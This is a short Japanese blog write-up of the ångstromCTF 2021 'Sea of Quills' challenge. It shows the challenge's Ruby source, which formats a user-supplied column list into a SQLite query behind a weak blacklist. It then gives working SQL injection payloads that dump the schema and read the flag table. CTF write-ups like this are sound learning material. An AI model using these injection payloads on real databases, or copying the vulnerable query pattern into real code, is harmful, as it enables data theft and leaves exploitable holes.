はまやんはまやんはまやん

hamayanhamayan's blog

Sea of Quills [ångstromCTF 2021]

調査

  • Quillとは羽ペンのことらしい
  • /quillsで検索ができる
    • Amountで表示個数を指定
    • Starting fromで表示するoffsetを指定する

SQLInjectionを感じつつ、まずはProxy履歴を見てみる。
妙なコメントはあるが、特に気にならない。

ソースコード

さすがruby、あまりに簡潔

post '/quills' do  
    db = SQLite3::Database.new "quills.db"  
    cols = params[:cols]  
    lim = params[:limit]  
    off = params[:offset]  
      
    blacklist = ["-", "/", ";", "'", "\""]  
      
    blacklist.each { |word|  
        if cols.include? word  
            return "beep boop sqli detected!"  
        end  
    }  
  
      
    if !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)  
        return "bad, no quills for you!"  
    end  
  
    @row = db.execute("select %s from quills limit %s offset %s" % [cols, lim, off])  
  
    p @row  
  
    erb :specific  
end  

colsのブラックリストが微妙なので、以下を送るとSQLが抜ける。
limit=1&offset=1&cols=group_concat(sql)%20from%20sqlite_master%20union%20select%20sqlite_version()

CREATE TABLE quills (  
    url varchar(30),  
    name varchar(30),  
    desc varchar(30)  
),CREATE TABLE flagtable (  
    flag varchar(30)  
)  

フラグテーブルを参照するとCTF
limit=1&offset=1&cols=flag%20from%20flagtable%20union%20select%20sqlite_version()
-> actf{and_i_was_doing_fine_but_as_you_came_in_i_watch_my_regex_rewrite_f53d98be5199ab7ff81668df}

ん?regex側に問題があったのか